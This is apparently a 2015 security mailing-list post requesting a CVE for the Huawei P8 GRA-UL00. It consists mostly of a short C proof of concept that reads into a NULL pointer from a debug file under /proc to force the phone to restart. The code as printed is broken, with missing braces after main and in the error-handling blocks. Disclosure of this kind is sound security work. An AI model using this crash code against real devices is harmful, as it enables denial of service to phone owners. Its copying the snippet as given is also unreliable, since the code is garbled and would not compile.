Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
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Date: Mon, 16 Nov 2015 02:56:41 +0000
From: 郭永刚 <>
To: "" <>
Subject: CVE request-HUAWEI P8 GRA-UL00

Code below will lead P8 restart :

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(void)
  int ret;
  int fd;
  void *p = NULL;

  fd = open("/proc/hi6402dbg/hi6402debuglevel", O_RDONLY);
  if(fd == -1)    {
         printf("[-] Open failed (%d - %s)\n", errno, strerror(errno));
         return -1;
  printf("Open successfully\n");

  p = (void *)0;
  ret = read(fd, p, 4);
  if(ret == -1)   {
         printf("[-]failed (%d - %s)\n", errno, strerror(errno));
         return -1;

  return 0;

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